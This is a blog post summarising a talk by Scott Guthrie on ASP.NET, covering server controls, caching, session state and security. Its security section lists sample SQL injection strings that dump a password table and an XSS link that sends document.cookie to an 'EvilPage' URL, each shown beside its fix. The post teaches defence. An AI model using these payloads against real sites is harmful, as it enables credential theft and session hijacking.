Scott Guthrie on ASP.NET

Last Monday I went to hear Scott Guthrie speak on ASP.NET. What follows is a précis of the session. The slides are online (under ASP.NET Presentation in Reading, England).

Introduction

First impressions were good: as a speaker Guthrie was very clear and measured, and flexible yet firm with questions. The talk assumed no prior knowledge of the ASP.NET architecture, so started from a basic discussion of embedded script tags () found in most dynamic content framworks (‘vanilla’ ASP/PHP/JSP etc.). By the end of the session, we had covered: the ASP.NET Server Control model; targetting of mobile devices; form validation; Web Services; Output Caching; Session State; and site security, including SQL Injection and XSS attacks.

Spaghetti

The existing model of dynamic (on-the-fly) HTML content generation as used with ASP/PHP/JSP etc. tends to use a script interpreter to parse server directives/commands embedded in the HTML document. This can lead to a mix of Code and Content which is very difficult to manage and understand. ASP.NET attempts to address this “spaghetti code” problem by proving the means to separate Code and Content. In addition, ASP.NET does not use a scripting engine, but rather compiles all code fragments, resulting in faster execution, especially when combined with Caching. In fact, the code to implement a particular feature need not live in the same file as the markup at all, but in a separate file using a feature called CodeBehind; the code lives “behind” the page, as it were.

Deployment

To address the need for seamless ‘zero-downtime’ udpates, ASP.NET uses an ‘xcopy’ deployment model, meaning that deployment is designed to be as simple as copying across new files to the webserver: no configuration tools to run nor locked DLLs to contend with. No doubt there are complications, but the promise is certainly welcome; with Assemblies and Side-By-Side execution, the whole .NET Framework appears to offer a similar promise too.

Server Controls

The ASP.NET coding model seems to have been designed to mimic the familiar Drag-n-Drop (Delphi/VB) style of visual programming, with UI elements exposed as objects with properties, methods and events. This is clearly quite different from the features provided by the underlying HTML, but no more so than the Delphi approach is (thankfully) different from the underlying Win32 API: in each case a flat, procedural style of programming is hidden by an Object-Oriented wrapper. This lets the programmer concentrate on good design and coding without needing to be concerned about ‘plumbing’.
In an ASP.NET file (.aspx) there may be little of no HTML at all, because the ASP.NET runtime produces HTML as output, having compiled and run the code contained in (or referenced by) the page. By sending only HTML back to the browser, ASP.NET can guarantee a much wider range of targets than if, say, some functionality were implemented as ActiveX Controls. Thus, not only is it possible to separate the location of the Content from the Code, but the implementation detail (plumbing) is conceptually separated. This said, there are two different models for code in ASP.NET pages: The CodeBehind model (used by Visual Studio) and Single-file (as used by the free WebMatrix environment). The end effect is broadly the same wherever the code lies, with compiled code running at the server to generate HTML from the Controls specified in the .aspx file.
To learn about ASP.NET programming, WebMatrix was recommended, and it certainly allows you to get ‘up and running’ much more quickly than with VS.NET, largely because it has a built-in Web Server (bound by default to localhost for security reasons), so changes to files can be tested immediately rather than exporting the files to the IIS or Apache tree. The following images show ASP.NET development under WebMatrix.

Set Properties of Form Controls
Set Properties of Form Controls
Set Properties of Form Controls

The runat=”server” attribute of the different Controls on the form indicates to ASP.NET that event handling and state management code should be generated for those Controls. Any existing HTML control can be attributed in this way; a wider range of ASP.NET Controls uses the element, and these Controls are always run at the Server. The code is quite simple:

<html>
<head>
</head>
<body>
    <form runat="server">
        &nbsp;&nbsp;
        <p>
            <asp:CheckBoxList id="CheckBoxList1" runat="server">
                <asp:ListItem Value="JubJub Bird">JubJub Bird</asp:ListItem>
                <asp:ListItem Value="Bandersnatch">Bandersnatch</asp:ListItem>
            </asp:CheckBoxList>
        </p>
        <p>
            <asp:Calendar id="Calendar1" runat="server" Font-Names="Verdana,Helvetica">
                <DayStyle backcolor="#FFE0C0"></DayStyle>
                <DayHeaderStyle font-bold="True" forecolor="Maroon"></DayHeaderStyle>
            </asp:Calendar>
        </p>
    </form>
</body>
</html>

The code to hook events from different elements of the page is handled automatically by ASP.NET as can be seen below. The HTML generated (together with JavaScript for non-elements) is comparitavely complex:

<body>
    <form name="_ctl0" method="post" action="TestClass.aspx" id="_ctl0">
<input type="hidden" name="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" value="dDwxODgxMjI4MTczOztsPENoZWNrQm94TGlzdDE6MDtDaGVjav5uV2zMZzhwmN4/UeXbAAA04=" />

<script language="javascript">
<!--
 function __doPostBack(eventTarget, eventArgument) {
  var theform;
  if (window.navigator.appName.toLowerCase().indexOf("netscape") > -1) {
   theform = document.forms["_ctl0"];
  }
  else {
   theform = document._ctl0;
  }
  theform.__EVENTTARGET.value = eventTarget.split("$").join(":");
  theform.__EVENTARGUMENT.value = eventArgument;
  theform.submit();
 }
// -- >
</script>

        &nbsp;&nbsp;
        <p>
            <table id="CheckBoxList1" border="0">
 <tr>
  <td><input id="CheckBoxList1_0" type="checkbox" name="CheckBoxList1:0" /><label for="CheckBoxList1_0">JubJub Bird</label></td>
 </tr><tr>
  <td><input id="CheckBoxList1_1" type="checkbox" name="CheckBoxList1:1" /><label for="CheckBoxList1_1">Bandersnatch</label></td>
 </tr>
</table>
        </p>
        <p>
            <table id="Calendar1" cellspacing="0" cellpadding="2" border="0" style="border-width:1px;border-style:solid;font-family:Verdana,Helvetica;border-collapse:collapse;">
 <tr><td colspan="7" style="background-color:Silver;"><table cellspacing="0" border="0" style="font-family:Verdana,Helvetica;width:100%;border-collapse:collapse;">
  <tr><td style="width:15%;"><a href="javascript:__doPostBack('Calendar1','V1461')" style="color:Black">&lt;</a></td><td align="Center" style="width:70%;">February 2004</td><td align="Right" style="width:15%;"><a href="javascript:__doPostBack('Calendar1','V1521')" style="color:Black">&gt;</a></td></tr>

Notice the __doPostBack event hooked onto the different cells of the Calendar: the programmer had to write no such event-handling code manually – it was all generated by ASP.NET before pushing the HTML to the browser. There is automatic handling of differences in DOM support between Internet Explorer and Netscape, and a hidden field named ‘__VIEWSTATE’ contains information about the state of the form for when the form is submitted; ASP.NET does not maintain state between page submissions except by the use of these hidden fields.

Styles and Templates

Basic styles of controls can be set at Design-Time using the properties panel in Visual Studio. To apply a collection of styles of property settings across multiple controls, one either must edit the changes on each control manually, or create a User Control (there a re some fine distinctions between Server Controls and User Controls). There is, however, an alternative to property setting: ASP Templates. It is possible to specify (either hard-coded or programmatically) a template for presenting data. Using a DataList (not a DataGrid), formatting can be applied to each logical element in the data collection. That element could be in effect a section of HTML pertaining to a single record in a data set, showing, for example, the title, author and description of a book, along with a picture of the cover.

Mobile Devices

Many mobile devices have extremely limited rendering and display capabilities, and most read markup in WML format, a flavour of XML. A WML document is typically divided into one or more subsections or “Cards”. This approach is sufficiently different from the HTML approach (dealing with the whole document at once) that ASP.NET has amrkup specially for mobile devices. The tag is broadly equivilent to the tag for HTML; Controls described with this element are rendered at the server, which pushes WML to the mobile device. One thing not covered by the speaker was the availability of a mechanism to produce ‘cut-down’ markup for low-end/downlevel clients, or clients with special requirements, such as screen readers for the visually impaired. I would guess that some sort of StyleSheet switching based on the UserAgent string may be a way to go, combined with measures to ensure that all elements contain useful descriptive text (e.g. the alt text property of the img tag).


Simple WebServices seem easy to implement with .NET: decorating a class method with the [WebMethod] attribute is all that needs to be done. Use of a WebService proxy helps to abstract the code.

Validation

Validation is best performed at BOTH the client AND the server. Validation on the client prevents unnecessary calls to the server: if bad user input can be caught early, bandwidth and time are both saved. However, even if client-side validation succeeds, the server should still validate; because the client-side validation code runs as javascript, there is no guarantee that it has been executed before the form is sent to the server (users may have Javascript turned off, etc.). If the user has Javascript enbled, she sees the page update as she changes the fields on the form, providing a richer user experience.CachingThe ASP.NET caching mechanism is powerful and can greatly improve server performance. Whole pages, page fragments and user-specific data can be distinguished and cached separately. The term Output Cache is used because the cache is downstream from the ASP HTML generation engine: it is on the “output” side. Caching can be tied to particular page parameters, so that fine-grained control over page data freshness can be maintained. For example: two separate requests arrive for a page, specifying the same parameters; the first request is served by creating the page, but the second is served from the cache. The varying longevity of data stored in Databases can thus be addressed by specifying different timeout periods for different parts of the page: page hit statistics for the past month can be cached for weeks, whereas (say) “current online users” would have a much shorter cache timeout. The Web Application Stress Tool helps test caching.

Session State

There are two options for stateful browsing sessions under ASP.NET: Cookies and Cookieless. With Cookies, the Session ID is stored on the client, whereas Cookieless mode tracks the Session ID via a special URL string. In both cases, all other state information is stored on the server, although this data can actually be stored on a machine separate to the webserver (i.e. out-of-process). This is achieved using the output_state service: net start output_state is the command to turn this on. State can also be stored in a SQL server. The default is to store state In-Process.
This transparency of state storage enables web farm scenarios and increased reliability. Pages can be personalised using the Session State information, but only those parts of the page which are specific to a particular session need to created afresh; the common parts can be retrieved from the Output Cache – see Caching above.

Security

The two types of attacks covered by Guthrie were SQL Injection attacks and Cross-Site Scripting (XSS) attacks.

SQL Injection

SQL Injection vulnerabilities are not specific to any particular programming language or server platform, but rely on naive SQL command construction by the programmer, and the fact that SQL commands can be concatenated very easily. Any unfiltered user input is essentially dangerous.In the example above, the line marked “!!! DANGER !!!” shows how SQL could be injected by an attacker into the database query. If the attacker includes special characters like . (period), ‘ (comma), etc., as follows:

  • Attempt to return other columns in the table: a’ union select 1, 2, 3;–
  • Check and see if a priveledged account is being used: 1′ union select dbid, name, filename, 3 from master..sysdatabases;–
  • Dump Password Table: 1′ union select fullname, emailaddress, password, 3 from commerce..customers;–

In each case, the ‘ terminates the first part of the query, which is then compounded with another query, which can be as destructive or intrusive as possible! The solution is to parameterise all SQL input, using the “@parameter” notation; the line Dim param As New SqlParameter(“@category”, SqlDbType.VarChar) defines a parameter “@category” in which will be placed the text entered by the user. This text can be validated separately by the ASP.NET engine before being executed as SQL. Use of Stored Procedures can also mitigate SQL Injection attacks.

XSS attacks

XSS attacks hijack unfiltered input echoed to a page by the webserver, often using query strings in URLs. The following code demonstrates this:

<a href="http://.../Search.aspx?Search=document.location.replace('http://localhost/EvilPage.aspx?Cookie=‘ + document.cookie);">

The naive search page takes whatever is passed in the query string for the “Search” parameter and processes it directly. This means that the -tagged code will execute, and the attacker (in this case) steals the cookie generated by the search page. To avoid these attacks, always validate input, and reject unwanted embedded tags. Also, HTML-encode input strings, so that “<script>” becomes “&lt;script&gt;”. In ASP.NET, use Server.HtmlEncodeto achieve this.

Advertisements

Join the discussion...

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s